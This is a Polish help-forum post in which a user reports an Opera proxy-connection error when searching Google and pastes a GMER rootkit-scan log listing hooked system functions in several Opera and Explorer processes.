Problem z wyszukiwaniem w google...

[cnx1234]

Przy wpisaniu do wyszukiwarki google stwierdzenia jakiegokolwiek wyskakuje ten o to błąd :

Kod: Zaznacz wszystko

Unable to connect to the proxy server

A proxy server is a server that acts as an intermediary between your computer and other servers. Right now, your system is configured to use a proxy, but Opera can't connect to it.

logi :

GMER 2.1.19357 - http://www.gmer.net
Rootkit scan 2014-09-08 17:56:11
Windows 6.1.7600 \Device\Harddisk0\DR0 -> \Device\Ide\IdeDeviceP0T1L0-4 Maxtor_6B120P0 rev.BAH41B70 114,50GB
Running: bjigbhkt.exe; Driver: C:\Users\Norbert\AppData\Local\Temp\kwwdqpoc.sys


---- Kernel code sections - GMER 2.1 ----

.text ntkrnlpa.exe!ZwSaveKeyEx + 13AD 82E96579 1 Byte [06]
.text ntkrnlpa.exe!KiDispatchInterrupt + 5A2 82EBAF52 19 Bytes [E0, 0F, BA, F0, 07, 73, 09, ...] {LOOPNZ 0x11; MOV EDX, 0x97307f0; MOV CR4, EAX; OR AL, 0x80; MOV CR4, EAX; RET ; MOV ECX, CR3}

---- User code sections - GMER 2.1 ----

.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtCreateFile + 6 77534A16 4 Bytes [28, 90, 1F, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtCreateFile + B 77534A1B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtMapViewOfSection + 6 77535076 4 Bytes [28, 93, 1F, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtMapViewOfSection + B 7753507B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenFile + 6 77535126 4 Bytes [68, 90, 1F, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenFile + B 7753512B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenProcess + 6 775351D6 4 Bytes [A8, 91, 1F, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenProcess + B 775351DB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenProcessToken + B 775351EB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenProcessTokenEx + 6 775351F6 4 Bytes [A8, 92, 1F, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenProcessTokenEx + B 775351FB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenThread + 6 77535256 4 Bytes [68, 91, 1F, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenThread + B 7753525B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenThreadToken + 6 77535266 4 Bytes [68, 92, 1F, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenThreadToken + B 7753526B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtOpenThreadTokenEx + B 7753527B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtQueryAttributesFile + 6 77535386 4 Bytes [A8, 90, 1F, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtQueryAttributesFile + B 7753538B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtQueryFullAttributesFile + B 7753543B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtSetInformationFile + 6 77535A86 4 Bytes [28, 91, 1F, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtSetInformationFile + B 77535A8B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtSetInformationThread + 6 77535AE6 4 Bytes [28, 92, 1F, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtSetInformationThread + B 77535AEB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtUnmapViewOfSection + 6 77535E06 4 Bytes [68, 93, 1F, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[172] ntdll.dll!NtUnmapViewOfSection + B 77535E0B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtCreateFile + 6 77534A16 4 Bytes [28, C4, EC, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtCreateFile + B 77534A1B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtMapViewOfSection + 6 77535076 4 Bytes [28, C7, EC, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtMapViewOfSection + B 7753507B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenFile + 6 77535126 4 Bytes [68, C4, EC, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenFile + B 7753512B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenProcess + 6 775351D6 4 Bytes [A8, C5, EC, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenProcess + B 775351DB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenProcessToken + B 775351EB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenProcessTokenEx + 6 775351F6 4 Bytes [A8, C6, EC, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenProcessTokenEx + B 775351FB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenThread + 6 77535256 4 Bytes [68, C5, EC, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenThread + B 7753525B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenThreadToken + 6 77535266 4 Bytes [68, C6, EC, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenThreadToken + B 7753526B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtOpenThreadTokenEx + B 7753527B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtQueryAttributesFile + 6 77535386 4 Bytes [A8, C4, EC, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtQueryAttributesFile + B 7753538B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtQueryFullAttributesFile + B 7753543B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtSetInformationFile + 6 77535A86 4 Bytes [28, C5, EC, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtSetInformationFile + B 77535A8B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtSetInformationThread + 6 77535AE6 4 Bytes [28, C6, EC, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtSetInformationThread + B 77535AEB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtUnmapViewOfSection + 6 77535E06 4 Bytes [68, C7, EC, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[628] ntdll.dll!NtUnmapViewOfSection + B 77535E0B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtCreateFile + 6 77534A16 4 Bytes [28, 1C, D4, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtCreateFile + B 77534A1B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtMapViewOfSection + 6 77535076 4 Bytes [28, 1F, D4, 00] {SUB [EDI], BL; AAM 0x0}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtMapViewOfSection + B 7753507B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenFile + 6 77535126 4 Bytes [68, 1C, D4, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenFile + B 7753512B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenProcess + 6 775351D6 4 Bytes [A8, 1D, D4, 00] {TEST AL, 0x1d; AAM 0x0}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenProcess + B 775351DB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenProcessToken + B 775351EB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenProcessTokenEx + 6 775351F6 4 Bytes [A8, 1E, D4, 00] {TEST AL, 0x1e; AAM 0x0}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenProcessTokenEx + B 775351FB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenThread + 6 77535256 4 Bytes [68, 1D, D4, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenThread + B 7753525B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenThreadToken + 6 77535266 4 Bytes [68, 1E, D4, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenThreadToken + B 7753526B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtOpenThreadTokenEx + B 7753527B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtQueryAttributesFile + 6 77535386 4 Bytes [A8, 1C, D4, 00] {TEST AL, 0x1c; AAM 0x0}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtQueryAttributesFile + B 7753538B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtQueryFullAttributesFile + B 7753543B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtSetInformationFile + 6 77535A86 4 Bytes [28, 1D, D4, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtSetInformationFile + B 77535A8B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtSetInformationThread + 6 77535AE6 4 Bytes [28, 1E, D4, 00] {SUB [ESI], BL; AAM 0x0}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtSetInformationThread + B 77535AEB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtUnmapViewOfSection + 6 77535E06 4 Bytes [68, 1F, D4, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2692] ntdll.dll!NtUnmapViewOfSection + B 77535E0B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtCreateFile + 6 77534A16 4 Bytes [28, 8C, D9, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtCreateFile + B 77534A1B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtMapViewOfSection + 6 77535076 4 Bytes [28, 8F, D9, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtMapViewOfSection + B 7753507B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenFile + 6 77535126 4 Bytes [68, 8C, D9, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenFile + B 7753512B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenProcess + 6 775351D6 4 Bytes [A8, 8D, D9, 00] {TEST AL, 0x8d; FLD DWORD [EAX]}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenProcess + B 775351DB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenProcessToken + B 775351EB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenProcessTokenEx + 6 775351F6 4 Bytes [A8, 8E, D9, 00] {TEST AL, 0x8e; FLD DWORD [EAX]}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenProcessTokenEx + B 775351FB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenThread + 6 77535256 4 Bytes [68, 8D, D9, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenThread + B 7753525B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenThreadToken + 6 77535266 4 Bytes [68, 8E, D9, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenThreadToken + B 7753526B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtOpenThreadTokenEx + B 7753527B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtQueryAttributesFile + 6 77535386 4 Bytes [A8, 8C, D9, 00] {TEST AL, 0x8c; FLD DWORD [EAX]}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtQueryAttributesFile + B 7753538B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtQueryFullAttributesFile + B 7753543B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtSetInformationFile + 6 77535A86 4 Bytes [28, 8D, D9, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtSetInformationFile + B 77535A8B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtSetInformationThread + 6 77535AE6 4 Bytes [28, 8E, D9, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtSetInformationThread + B 77535AEB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtUnmapViewOfSection + 6 77535E06 4 Bytes [68, 8F, D9, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[2836] ntdll.dll!NtUnmapViewOfSection + B 77535E0B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtCreateFile + 6 77534A16 4 Bytes [28, 4C, 1E, 00] {SUB [ESI+EBX+0x0], CL}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtCreateFile + B 77534A1B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtMapViewOfSection + 6 77535076 4 Bytes [28, 4F, 1E, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtMapViewOfSection + B 7753507B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenFile + 6 77535126 4 Bytes [68, 4C, 1E, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenFile + B 7753512B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenProcess + 6 775351D6 4 Bytes [A8, 4D, 1E, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenProcess + B 775351DB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenProcessToken + B 775351EB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenProcessTokenEx + 6 775351F6 4 Bytes [A8, 4E, 1E, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenProcessTokenEx + B 775351FB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenThread + 6 77535256 4 Bytes [68, 4D, 1E, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenThread + B 7753525B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenThreadToken + 6 77535266 4 Bytes [68, 4E, 1E, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenThreadToken + B 7753526B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtOpenThreadTokenEx + B 7753527B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtQueryAttributesFile + 6 77535386 4 Bytes [A8, 4C, 1E, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtQueryAttributesFile + B 7753538B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtQueryFullAttributesFile + B 7753543B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtSetInformationFile + 6 77535A86 4 Bytes [28, 4D, 1E, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtSetInformationFile + B 77535A8B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtSetInformationThread + 6 77535AE6 4 Bytes [28, 4E, 1E, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtSetInformationThread + B 77535AEB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtUnmapViewOfSection + 6 77535E06 4 Bytes [68, 4F, 1E, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5520] ntdll.dll!NtUnmapViewOfSection + B 77535E0B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtCreateFile + 6 77534A16 4 Bytes [28, B8, 55, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtCreateFile + B 77534A1B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtMapViewOfSection + 6 77535076 4 Bytes [28, BB, 55, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtMapViewOfSection + B 7753507B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenFile + 6 77535126 4 Bytes [68, B8, 55, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenFile + B 7753512B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenProcess + 6 775351D6 4 Bytes [A8, B9, 55, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenProcess + B 775351DB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenProcessToken + B 775351EB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenProcessTokenEx + 6 775351F6 4 Bytes [A8, BA, 55, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenProcessTokenEx + B 775351FB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenThread + 6 77535256 4 Bytes [68, B9, 55, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenThread + B 7753525B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenThreadToken + 6 77535266 4 Bytes [68, BA, 55, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenThreadToken + B 7753526B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtOpenThreadTokenEx + B 7753527B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtQueryAttributesFile + 6 77535386 4 Bytes [A8, B8, 55, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtQueryAttributesFile + B 7753538B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtQueryFullAttributesFile + B 7753543B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtSetInformationFile + 6 77535A86 4 Bytes [28, B9, 55, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtSetInformationFile + B 77535A8B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtSetInformationThread + 6 77535AE6 4 Bytes [28, BA, 55, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtSetInformationThread + B 77535AEB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtUnmapViewOfSection + 6 77535E06 4 Bytes [68, BB, 55, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5604] ntdll.dll!NtUnmapViewOfSection + B 77535E0B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtCreateFile + 6 77534A16 4 Bytes [28, 70, 28, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtCreateFile + B 77534A1B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtMapViewOfSection + 6 77535076 4 Bytes [28, 73, 28, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtMapViewOfSection + B 7753507B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenFile + 6 77535126 4 Bytes [68, 70, 28, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenFile + B 7753512B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenProcess + 6 775351D6 4 Bytes [A8, 71, 28, 00] {TEST AL, 0x71; SUB [EAX], AL}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenProcess + B 775351DB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenProcessToken + B 775351EB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenProcessTokenEx + 6 775351F6 4 Bytes [A8, 72, 28, 00] {TEST AL, 0x72; SUB [EAX], AL}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenProcessTokenEx + B 775351FB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenThread + 6 77535256 4 Bytes [68, 71, 28, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenThread + B 7753525B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenThreadToken + 6 77535266 4 Bytes [68, 72, 28, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenThreadToken + B 7753526B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtOpenThreadTokenEx + B 7753527B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtQueryAttributesFile + 6 77535386 4 Bytes [A8, 70, 28, 00] {TEST AL, 0x70; SUB [EAX], AL}
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtQueryAttributesFile + B 7753538B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtQueryFullAttributesFile + B 7753543B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtSetInformationFile + 6 77535A86 4 Bytes [28, 71, 28, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtSetInformationFile + B 77535A8B 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtSetInformationThread + 6 77535AE6 4 Bytes [28, 72, 28, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtSetInformationThread + B 77535AEB 1 Byte [E2]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtUnmapViewOfSection + 6 77535E06 4 Bytes [68, 73, 28, 00]
.text C:\Program Files\Opera Next\15.0.1147.72\opera.exe[5740] ntdll.dll!NtUnmapViewOfSection + B 77535E0B 1 Byte [E2]

---- User IAT/EAT - GMER 2.1 ----

IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipFree] [74142575] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipAlloc] [741424FA] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdiplusStartup] [7412565B] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdiplusShutdown] [74125719] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipDeleteGraphics] [741385D9] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipDisposeImage] [74134D8D] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipGetImageWidth] [74135134] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipGetImageHeight] [74135209] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
